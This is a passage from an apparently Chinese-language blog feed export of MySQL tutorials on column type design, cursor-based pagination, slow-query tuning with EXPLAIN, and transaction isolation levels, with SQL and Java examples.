class="keyword">NOT NULL</span> <span class="keyword">UNIQUE</span> COMMENT <span class="string">&#x27;邮箱&#x27;</span>,</span><br><span class="line">    phone <span class="type">CHAR</span>(<span class="number">11</span>) COMMENT <span class="string">&#x27;手机号&#x27;</span>,</span><br><span class="line">    gender TINYINT COMMENT <span class="string">&#x27;性别：0未知，1男，2女&#x27;</span>,</span><br><span class="line">    age TINYINT UNSIGNED COMMENT <span class="string">&#x27;年龄&#x27;</span>,</span><br><span class="line">    status TINYINT <span class="keyword">DEFAULT</span> <span class="number">1</span> COMMENT <span class="string">&#x27;状态：0禁用，1启用&#x27;</span>,</span><br><span class="line">    balance <span class="type">DECIMAL</span>(<span class="number">12</span>,<span class="number">2</span>) <span class="keyword">DEFAULT</span> <span class="number">0</span> COMMENT <span class="string">&#x27;余额&#x27;</span>,</span><br><span class="line">    created_at DATETIME <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">    updated_at <span class="type">TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;更新时间&#x27;</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h3 id="案例二：订单表设计"><a href="#案例二：订单表设计" class="headerlink" title="案例二：订单表设计"></a>案例二：订单表设计</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT COMMENT <span class="string">&#x27;订单ID&#x27;</span>,</span><br><span class="line">    order_no <span class="type">CHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span> <span class="keyword">UNIQUE</span> COMMENT <span class="string">&#x27;订单编号&#x27;</span>,</span><br><span class="line">    user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;用户ID&#x27;</span>,</span><br><span class="line">    status ENUM(<span class="string">&#x27;PENDING&#x27;</span>, <span class="string">&#x27;PAID&#x27;</span>, <span class="string">&#x27;SHIPPED&#x27;</span>, <span class="string">&#x27;COMPLETED&#x27;</span>, <span class="string">&#x27;CANCELLED&#x27;</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;订单状态&#x27;</span>,</span><br><span class="line">    amount <span class="type">DECIMAL</span>(<span class="number">12</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;订单金额&#x27;</span>,</span><br><span class="line">    pay_amount <span class="type">DECIMAL</span>(<span class="number">12</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;实付金额&#x27;</span>,</span><br><span class="line">    discount <span class="type">DECIMAL</span>(<span class="number">8</span>,<span class="number">2</span>) <span class="keyword">DEFAULT</span> <span class="number">0</span> COMMENT <span class="string">&#x27;优惠金额&#x27;</span>,</span><br><span class="line">    pay_time DATETIME COMMENT <span class="string">&#x27;支付时间&#x27;</span>,</span><br><span class="line">    ship_time DATETIME COMMENT <span class="string">&#x27;发货时间&#x27;</span>,</span><br><span class="line">    created_at DATETIME <span class="keyword">NOT NULL</span> COMMENT <span class="string">&#x27;创建时间&#x27;</span>,</span><br><span class="line">    updated_at <span class="type">TIMESTAMP</span> <span class="keyword">ON</span> <span class="keyword">UPDATE</span> <span class="built_in">CURRENT_TIMESTAMP</span> COMMENT <span class="string">&#x27;更新时间&#x27;</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="性能优化建议"><a href="#性能优化建议" class="headerlink" title="性能优化建议"></a>性能优化建议</h2><h3 id="1-选择合适的索引类型"><a href="#1-选择合适的索引类型" class="headerlink" title="1. 选择合适的索引类型"></a>1. 选择合适的索引类型</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 数值类型适合 B-tree 索引</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_id <span class="keyword">ON</span> orders(user_id);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 字符串类型索引注意长度</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_username <span class="keyword">ON</span> users(username(<span class="number">10</span>)); <span class="comment">-- 前缀索引</span></span><br></pre></td></tr></table></figure><h3 id="2-避免在索引列上使用函数"><a href="#2-避免在索引列上使用函数" class="headerlink" title="2. 避免在索引列上使用函数"></a>2. 避免在索引列上使用函数</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- ❌ 索引失效</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> <span class="type">DATE</span>(created_at) <span class="operator">=</span> <span class="string">&#x27;2024-01-01&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- ✅ 使用索引</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> created_at <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01 00:00:00&#x27;</span> </span><br><span class="line">                       <span class="keyword">AND</span> created_at <span class="operator">&lt;</span> <span class="string">&#x27;2024-01-02 00:00:00&#x27;</span>;</span><br></pre></td></tr></table></figure><h3 id="3-考虑数据分布"><a href="#3-考虑数据分布" class="headerlink" title="3. 考虑数据分布"></a>3. 考虑数据分布</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 如果 status 只有几种值，建索引收益不大</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 如果 user_id 分布均匀，索引效果好</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span>;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>字段类型设计的关键是：</p><ol><li>根据业务需求选择合适的类型</li><li>考虑数据的实际范围和精度</li><li>注意字符集和排序规则</li><li>为后续扩展留有余地</li></ol><p>写这篇文章时，我回顾了几个项目的数据库设计。合理的字段类型选择不仅能提高性能，还能保证数据完整性。希望这些经验能帮到你。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>分页查询优化：从 Offset 到游标分页</title>
      <link href="//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/"/>
      <url>//fen-ye-cha-xun-xing-neng-wen-ti-he-you-biao-fen-ye/</url>
      
        <content type="html"><![CDATA[<h1 id="分页查询优化：从-Offset-到游标分页"><a href="#分页查询优化：从-Offset-到游标分页" class="headerlink" title="分页查询优化：从 Offset 到游标分页"></a>分页查询优化：从 Offset 到游标分页</h1><p>在处理大数据量分页时，传统的 LIMIT OFFSET 方式会遇到性能问题。今天分享一下分页查询的优化方案。</p><h2 id="传统分页的问题"><a href="#传统分页的问题" class="headerlink" title="传统分页的问题"></a>传统分页的问题</h2><h3 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 第一页，很快</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">0</span>, <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 第 10000 页，很慢</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">200000</span>, <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p><strong>原因</strong>：MySQL 需要扫描前 200000 条记录，然后丢弃它们。</p><h3 id="执行计划分析"><a href="#执行计划分析" class="headerlink" title="执行计划分析"></a>执行计划分析</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">200000</span>, <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p><strong>结果</strong>：</p><ul><li><code>type</code>：range</li><li><code>key</code>：idx_user_time</li><li><code>rows</code>：200020（需要扫描大量行）</li><li><code>Extra</code>：Using where; Using index condition</li></ul><h2 id="游标分页方案"><a href="#游标分页方案" class="headerlink" title="游标分页方案"></a>游标分页方案</h2><h3 id="基于-ID-的游标分页"><a href="#基于-ID-的游标分页" class="headerlink" title="基于 ID 的游标分页"></a>基于 ID 的游标分页</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 第一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> id <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取最后一条记录的 ID</span></span><br><span class="line"><span class="comment">-- 假设最后一条记录的 ID 是 200000</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 下一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line">  <span class="keyword">AND</span> id <span class="operator">&lt;</span> <span class="number">200000</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> id <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>每次查询都从索引起点开始</li><li>不需要扫描前面的记录</li><li>性能稳定</li></ul><h3 id="基于时间戳的游标分页"><a href="#基于时间戳的游标分页" class="headerlink" title="基于时间戳的游标分页"></a>基于时间戳的游标分页</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 第一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span>, id <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 获取最后一条记录的时间戳和 ID</span></span><br><span class="line"><span class="comment">-- 假设最后一条记录: created_at = &#x27;2024-01-15 10:30:00&#x27;, id = 200000</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 下一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line">  <span class="keyword">AND</span> (created_at <span class="operator">&lt;</span> <span class="string">&#x27;2024-01-15 10:30:00&#x27;</span> <span class="keyword">OR</span> </span><br><span class="line">       (created_at <span class="operator">=</span> <span class="string">&#x27;2024-01-15 10:30:00&#x27;</span> <span class="keyword">AND</span> id <span class="operator">&lt;</span> <span class="number">200000</span>)) </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span>, id <span class="keyword">DESC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p><strong>为什么需要 ID</strong>：同一时间戳可能有多条记录</p><h3 id="双向游标分页"><a href="#双向游标分页" class="headerlink" title="双向游标分页"></a>双向游标分页</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 上一页（假设当前页第一条记录的 ID 是 199981）</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> </span><br><span class="line">  <span class="keyword">AND</span> id <span class="operator">&gt;</span> <span class="number">199981</span> </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> id <span class="keyword">ASC</span> </span><br><span class="line">LIMIT <span class="number">20</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 然后反转结果</span></span><br></pre></td></tr></table></figure><h2 id="实现示例"><a href="#实现示例" class="headerlink" title="实现示例"></a>实现示例</h2><h3 id="后端实现"><a href="#后端实现" class="headerlink" title="后端实现"></a>后端实现</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PageRequest</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Long cursorId;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">Integer</span> <span class="variable">limit</span> <span class="operator">=</span> <span class="number">20</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">direction</span> <span class="operator">=</span> <span class="string">&quot;NEXT&quot;</span>; <span class="comment">// NEXT 或 PREV</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PageResponse</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> List&lt;T&gt; items;</span><br><span class="line">    <span class="keyword">private</span> Boolean hasNext;</span><br><span class="line">    <span class="keyword">private</span> Boolean hasPrev;</span><br><span class="line">    <span class="keyword">private</span> Long nextCursor;</span><br><span class="line">    <span class="keyword">private</span> Long prevCursor;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> PageResponse&lt;OrderDTO&gt; <span class="title function_">listOrders</span><span class="params">(Long userId, PageRequest request)</span> &#123;</span><br><span class="line">        List&lt;Order&gt; orders;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (<span class="string">&quot;NEXT&quot;</span>.equals(request.getDirection())) &#123;</span><br><span class="line">            <span class="keyword">if</span> (request.getCursorId() == <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="comment">// 第一页</span></span><br><span class="line">                orders = orderRepository.findByUserIdOrderByIdDesc(userId, request.getLimit());</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">// 下一页</span></span><br><span class="line">                orders = orderRepository.findByUserIdAndIdLessThanOrderByIdDesc(</span><br><span class="line">                    userId, request.getCursorId(), request.getLimit());</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="comment">// 上一页</span></span><br><span class="line">            orders = orderRepository.findByUserIdAndIdGreaterThanOrderByIdAsc(</span><br><span class="line">                userId, request.getCursorId(), request.getLimit());</span><br><span class="line">            <span class="comment">// 反转顺序</span></span><br><span class="line">            Collections.reverse(orders);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        PageResponse&lt;OrderDTO&gt; response = <span class="keyword">new</span> <span class="title class_">PageResponse</span>&lt;&gt;();</span><br><span class="line">        response.setItems(orders.stream().map(<span class="built_in">this</span>::convertToDTO).collect(Collectors.toList()));</span><br><span class="line">        response.setHasNext(orders.size() == request.getLimit());</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> response;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="SQL-查询"><a href="#SQL-查询" class="headerlink" title="SQL 查询"></a>SQL 查询</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 第一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> ? </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> id <span class="keyword">DESC</span> </span><br><span class="line">LIMIT ?;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 下一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> ? </span><br><span class="line">  <span class="keyword">AND</span> id <span class="operator">&lt;</span> ? </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> id <span class="keyword">DESC</span> </span><br><span class="line">LIMIT ?;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 上一页</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders </span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> ? </span><br><span class="line">  <span class="keyword">AND</span> id <span class="operator">&gt;</span> ? </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> id <span class="keyword">ASC</span> </span><br><span class="line">LIMIT ?;</span><br></pre></td></tr></table></figure><h2 id="适用场景对比"><a href="#适用场景对比" class="headerlink" title="适用场景对比"></a>适用场景对比</h2><table><thead><tr><th>分页方式</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>LIMIT OFFSET</strong></td><td>简单，支持跳页</td><td>大 offset 性能差</td><td>数据量小，需要跳页</td></tr><tr><td><strong>游标分页</strong></td><td>性能稳定，支持无限滚动</td><td>不支持跳页</td><td>数据量大，无限滚动</td></tr></tbody></table><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><h3 id="1-选择合适的分页方式"><a href="#1-选择合适的分页方式" class="headerlink" title="1. 选择合适的分页方式"></a>1. 选择合适的分页方式</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 管理后台，需要跳页功能</span></span><br><span class="line"><span class="keyword">if</span> (isAdmin) &#123;</span><br><span class="line">    <span class="keyword">return</span> limitOffsetPagination(request);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 用户端，只需要上一页/下一页</span></span><br><span class="line"><span class="keyword">return</span> cursorPagination(request);</span><br></pre></td></tr></table></figure><h3 id="2-创建合适的索引"><a href="#2-创建合适的索引" class="headerlink" title="2. 创建合适的索引"></a>2. 创建合适的索引</h3><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 基于 ID 的游标分页</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_id <span class="keyword">ON</span> orders(user_id, id <span class="keyword">DESC</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 基于时间戳的游标分页</span></span><br><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_time_id <span class="keyword">ON</span> orders(user_id, created_at <span class="keyword">DESC</span>, id <span class="keyword">DESC</span>);</span><br></pre></td></tr></table></figure><h3 id="3-处理边界情况"><a href="#3-处理边界情况" class="headerlink" title="3. 处理边界情况"></a>3. 处理边界情况</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 游标为空时返回第一页</span></span><br><span class="line"><span class="keyword">if</span> (cursorId == <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="keyword">return</span> findFirstPage();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 结果为空时返回空列表</span></span><br><span class="line"><span class="keyword">if</span> (orders.isEmpty()) &#123;</span><br><span class="line">    <span class="keyword">return</span> emptyResponse();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="4-限制分页深度"><a href="#4-限制分页深度" class="headerlink" title="4. 限制分页深度"></a>4. 限制分页深度</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 防止恶意请求</span></span><br><span class="line"><span class="keyword">if</span> (offset &gt; <span class="number">10000</span>) &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(<span class="string">&quot;请使用游标分页&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>分页查询的优化策略：</p><ol><li>小数据量、需要跳页：使用 LIMIT OFFSET</li><li>大数据量、无限滚动：使用游标分页</li><li>创建合适的索引是关键</li><li>根据业务场景选择合适的方案</li></ol><p>写这篇文章时，我特意做了性能测试。在大数据量场景下，游标分页的性能比传统分页好几个数量级。希望这些内容能帮到你。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>慢 SQL 排查和优化完整流程</title>
      <link href="//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/"/>
      <url>//man-sql-pai-cha-he-you-hua-wan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="慢-SQL-排查和优化完整流程"><a href="#慢-SQL-排查和优化完整流程" class="headerlink" title="慢 SQL 排查和优化完整流程"></a>慢 SQL 排查和优化完整流程</h1><p>慢 SQL 排查和优化完整流程是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="准备一张示例表"><a href="#准备一张示例表" class="headerlink" title="准备一张示例表"></a>准备一张示例表</h2><p>以订单表为例：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">  id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span> AUTO_INCREMENT,</span><br><span class="line">  user_id <span class="type">BIGINT</span> <span class="keyword">NOT NULL</span>,</span><br><span class="line">  status <span class="type">VARCHAR</span>(<span class="number">20</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">  created_at DATETIME <span class="keyword">NOT NULL</span></span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>查询订单列表时，很多人会直接写：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>这时可以考虑组合索引：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE</span> INDEX idx_user_status_time</span><br><span class="line"><span class="keyword">ON</span> orders(user_id, status, created_at);</span><br></pre></td></tr></table></figure><h2 id="必须用-EXPLAIN-验证"><a href="#必须用-EXPLAIN-验证" class="headerlink" title="必须用 EXPLAIN 验证"></a>必须用 EXPLAIN 验证</h2><p>优化 SQL 不要凭感觉，先看执行计划：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> orders</span><br><span class="line"><span class="keyword">WHERE</span> user_id <span class="operator">=</span> <span class="number">1001</span> <span class="keyword">AND</span> status <span class="operator">=</span> <span class="string">&#x27;PAID&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> created_at <span class="keyword">DESC</span></span><br><span class="line">LIMIT <span class="number">20</span>;</span><br></pre></td></tr></table></figure><p>重点看 <code>key</code> 是否命中索引，<code>rows</code> 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。</p><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>在索引列上使用函数，可能导致索引失效。</li><li>字段类型不一致，例如字符串和数字混用，会影响优化器选择。</li><li>大 offset 分页会越来越慢，可以改成基于 id 的游标分页。</li></ul>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> SQL </tag>
            
            <tag> MySQL优化 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL 事务隔离级别：深入理解幻读和解决方案</title>
      <link href="//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/"/>
      <url>//mysql-shi-wu-ge-chi-ji-bie-he-huan-du-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL-事务隔离级别：深入理解幻读和解决方案"><a href="#MySQL-事务隔离级别：深入理解幻读和解决方案" class="headerlink" title="MySQL 事务隔离级别：深入理解幻读和解决方案"></a>MySQL 事务隔离级别：深入理解幻读和解决方案</h1><p>Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。</p><h2 id="事务的-ACID-特性"><a href="#事务的-ACID-特性" class="headerlink" title="事务的 ACID 特性"></a>事务的 ACID 特性</h2><p>首先回顾一下事务的四个基本特性：</p><table><thead><tr><th>特性</th><th>说明</th></tr></thead><tbody><tr><td><strong>原子性 (Atomicity)</strong></td><td>事务是一个不可分割的工作单位</td></tr><tr><td><strong>一致性 (Consistency)</strong></td><td>事务执行前后数据完整性保持一致</td></tr><tr><td><strong>隔离性 (Isolation)</strong></td><td>多个事务之间相互隔离</td></tr><tr><td><strong>持久性 (Durability)</strong></td><td>事务提交后数据永久保存</td></tr></tbody></table><h2 id="四种隔离级别"><a href="#四种隔离级别" class="headerlink" title="四种隔离级别"></a>四种隔离级别</h2><p>MySQL 支持四种隔离级别，从低到高依次是：</p><p>#</p><h2 id="1-READ-UNCOMMITTED（读未提交）"><a href="#1-READ-UNCOMMITTED（读未提交）" class="headerlink" title="1. READ UNCOMMITTED（读未提交）"></a>1. READ UNCOMMITTED（读未提交）</h2><p>最低级别，允许读取未提交的数据：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：会出现脏读（读取到其他事务未提交的数据）。</p><p>#</p><h2 id="2-READ-COMMITTED（读已提交）"><a href="#2-READ-COMMITTED（读已提交）" class="headerlink" title="2. READ COMMITTED（读已提交）"></a>2. READ COMMITTED（读已提交）</h2><p>只能读取已提交的数据：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL READ COMMITTED;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：会出现不可重复读（同一事务内多次读取同一数据，结果不同）。</p><p>#</p><h2 id="3-REPEATABLE-READ（可重复读）"><a href="#3-REPEATABLE-READ（可重复读）" class="headerlink" title="3. REPEATABLE READ（可重复读）"></a>3. REPEATABLE READ（可重复读）</h2><p>MySQL 默认级别，保证同一事务内读取数据的一致性：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL REPEATABLE READ;</span><br></pre></td></tr></table></figure><p><strong>问题</strong>：可能出现幻读（同一事务内相同查询返回不同数量的行）。</p><p>#</p><h2 id="4-SERIALIZABLE（串行化）"><a href="#4-SERIALIZABLE（串行化）" class="headerlink" title="4. SERIALIZABLE（串行化）"></a>4. SERIALIZABLE（串行化）</h2><p>最高级别，事务串行执行：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SET</span> TRANSACTION ISOLATION LEVEL SERIALIZABLE;</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：完全隔离，但性能最差。</p><h2 id="什么是幻读？"><a href="#什么是幻读？" class="headerlink" title="什么是幻读？"></a>什么是幻读？</h2><p>举个例子理解幻读：</p><p><strong>事务 A</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">BEGIN</span>;</span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">COUNT</span>(<span class="operator">*</span>) <span class="keyword">FROM</span> orders <span class="keyword">WHERE</span> status <span class="operator">=</span> <span class="string">&#x27;PENDING&#x27;</span>; <span class="comment">-- 返回 10</span></span><br><span class="line"><span class="comment">-- 此时事务 B 插入一条新订单</span></span><br><span class="line"><span class="keyword">SELECT</span> <span 